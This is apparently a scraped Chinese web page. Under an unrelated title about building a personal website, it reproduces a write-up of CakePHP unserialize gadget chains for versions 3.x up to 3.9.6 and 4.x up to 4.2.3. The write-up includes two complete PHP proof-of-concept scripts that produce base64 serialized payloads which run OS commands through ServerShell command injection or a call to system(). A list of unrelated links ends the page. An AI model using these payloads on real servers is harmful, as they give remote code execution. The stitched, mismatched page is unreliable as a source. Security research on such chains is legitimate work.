当前位置: 首页 > news >正文

个人如何制作一个网站wordpress 自动标签

个人如何制作一个网站,wordpress 自动标签,网页制作的原则是什么,网站图片链接是怎么做的最近网上公开了cakephp一些反序列化链的细节#xff0c;但是没有公开poc#xff0c;并且网上关于cakephp的反序列化链比较少#xff0c;于是自己跟一下 #xff0c;构造pop链。 CakePHP简介 CakePHP是一个运用了诸如ActiveRecord、Association Data Mapping、Front Contr…最近网上公开了cakephp一些反序列化链的细节但是没有公开poc并且网上关于cakephp的反序列化链比较少于是自己跟一下 构造pop链。 CakePHP简介 CakePHP是一个运用了诸如ActiveRecord、Association Data Mapping、Front Controller和MVC等著名设计模式的快速开发框架。该项目主要目标是提供一个可以让各种层次的PHP开发人员快速地开发出健壮的Web应用而又不失灵活性。 3.x ≤ 3.9.6 入口位于vendor\symfony\process\Process.php的__destruct方法 在一些老版本中__destruct方法是这样的 跟进stop方法 跟进isRunning方法 $this-status可控可以继续进入updateStatus方法让其等于started即可 继续跟进readPipes方法 发现$this-processPipes可控且调用readAndWrite方法这样就我们可以调用任意类的__call方法 全局搜索找到vendor\cakephp\cakephp\src\ORM\Table.php有合适的__call方法 这里的$this-_behaviors也可控到这里我们就可以调用任意类的call方法了 继续寻找在vendor\cakephp\cakephp\src\ORM\BehaviorRegistry.php找到了合适的call方法 这里就可以调用任意类的任意方法了但是参数不可控 再来看看进入call_user_func_array的条件 这里的$method就是之前触发__call的readAndWrite方法 跟进hasMethod方法$this-_methodMap可控所以可以使其返回true 再来看看has方法是在父类ObjectRegistry中定义的$this-_loaded也可控 所以条件成立可以利用回调函数调用任意方法 接下来找到不需要参数的合适方法 位于vendor\cakephp\cakephp\src\Shell\ServerShell.php的main方法 执行的命令由可控参数$this-_host、$this-_port等拼接而成我们可以利用分号进行命令注入 但是由于前面的php -S命令在windows下没有php环境变量可能无法利用 在执行命令之前还得先让两个$this-out方法正常返回否则会报错退出 一路跟进来到vendor\cakephp\cakephp\src\Console\ConsoleIo.php 这里的$level为1我们只需要让$this-_level小于1即可使其返回true 到这里就可以执行系统命令了 poc: ?php namespace Cake\Core; abstract class ObjectRegistry {public $_loaded []; }namespace Cake\ORM; class Table {public $_behaviors; }use Cake\Core\ObjectRegistry; class BehaviorRegistry extends ObjectRegistry {public $_methodMap [];protected function _resolveClassName($class){}protected function _throwMissingClassError($class, $plugin){}protected function _create($class, $alias, $config){} }namespace Cake\Console; class Shell {public $_io; }class ConsoleIo {public $_level; }namespace Cake\Shell; use Cake\Console\Shell; class ServerShell extends Shell {public $_host;protected $_port 0;protected $_documentRoot ;protected $_iniPath ; }namespace Symfony\Component\Process; use Cake\ORM\Table; class Process {public $processPipes; }$pop new Process([]); $pop-status started; $pop-processPipes new Table(); $pop-processPipes-_behaviors new \Cake\ORM\BehaviorRegistry(); $pop-processPipes-_behaviors-_methodMap [readandwrite[servershell,main]]; $a new \Cake\Shell\ServerShell(); $a-_io new \Cake\Console\ConsoleIo(); $a-_io-_level 0; $a-_host ;open /System/Applications/Calculator.app;; $pop-processPipes-_behaviors-_loaded [servershell$a];echo base64_encode(serialize($pop)); 3.x某些版本、4.x ≤ 4.2.3 4.x版本前半部分的整体思路和3.x基本一样部分代码有变动 4.x版本ServerShell类修改了没有之前一样好用的方法了 寻找新的调用链 在vendor\cakephp\cakephp\src\Database\Statement\CallbackStatement.php 这里有动态调用方法名可控参数$row通过$this-_statement-fetch($type)获得 于是寻找可用的fetch方法 在vendor\cakephp\cakephp\src\Database\Statement\BufferedStatement.php有合适的方法 这里$this-buffer、$this-index、$this-_allFetched参数均可控可以返回我们指定的$row值 于是可以达成任意方法执行直接指定system执行系统命令 poc: ?php namespace Cake\Core; abstract class ObjectRegistry {public $_loaded []; }namespace Cake\ORM; class Table {public $_behaviors; }use Cake\Core\ObjectRegistry; class BehaviorRegistry extends ObjectRegistry {public $_methodMap [];protected function _resolveClassName(string $class): ?string{return $class;}protected function _throwMissingClassError(string $class, ?string $plugin): void{}protected function _create($class, $alias, $config){} }namespace Cake\Database\Statement; class StatementDecorator {public $_statement; }class CallbackStatement extends StatementDecorator {public $_callback; }class BufferedStatement {public $_allFetched;public $buffer [];protected $index 0; }namespace Symfony\Component\Process; use Cake\ORM\Table; class Process {public $processPipes; }$pop new Process([]); $pop-status started; $pop-processPipes new Table(); $pop-processPipes-_behaviors new \Cake\ORM\BehaviorRegistry(); $pop-processPipes-_behaviors-_methodMap [readandwrite[callbackstatement,fetch]]; $a new \Cake\Database\Statement\CallbackStatement($statement, $driver,); $a-_callback system; $a-_statement new \Cake\Database\Statement\BufferedStatement($statement, $driver); $a-_statement-_allFetched true; $a-_statement-buffer [open /System/Applications/Calculator.app]; $pop-processPipes-_behaviors-_loaded [callbackstatement$a];echo base64_encode(serialize($pop));
http://www.hkea.cn/news/14517859/

相关文章:

  • 江门网页建站模板房地产小程序开发
  • a站网址是什么网页制作基础教程第二版cc6照片
  • 个人网站建设教程 ppt重庆建筑行业认证培训网
  • 公司网站如何在百度上能搜索到wordpress ajax登录
  • 深圳高端网站设计建设福州建设高端网站
  • 网站建设公司哪家好 皆来磐石网络手机360优化大师官网
  • 自贸区网站建设wordpress显示作者信息
  • 正规网站建设首选公司郴州58同城
  • 网站焦点图怎么做链接建设有限公司网站
  • wordpress admin 密码seo优化总结
  • 长寿做网站北京app制作开发
  • 织梦cms官方网站wordpress 只有英文版
  • 学校网站建设招标公告深圳营销型网站建设设计公司
  • 做网站开发的过程asp.net ftp发布网站
  • 管理课程培训视频教程全集网站seo优化有哪些
  • 搭建网站的必须条件tp框架做展示网站
  • 用别人公司域名做网站网站开发方法是什么
  • 连云港做网站建设html教学网站
  • 崇明建设镇乡镇府网站淘宝电子网站建设论文
  • 做网站编程时容易遇到的问题电商网络推广方案
  • html制作一个个人主页网站公司网站建设一条龙
  • 利用网上菜谱做网站专业做网站推广的公司
  • 用asp做的网站全国网络公司大全
  • 做seo_教你如何选择网站关键词北京市建设工程审核网站
  • 公司建立网站怎么做分录简单的报价表模板
  • .net商城网站开发东莞网站建设技术
  • ui图标素材网站建网站有哪些费用
  • 安徽富通建设有限公司网站天津企业免费建站
  • 网站建设方案大全网站三元素怎么做
  • 铜陵app网站做营销招聘投资网站模板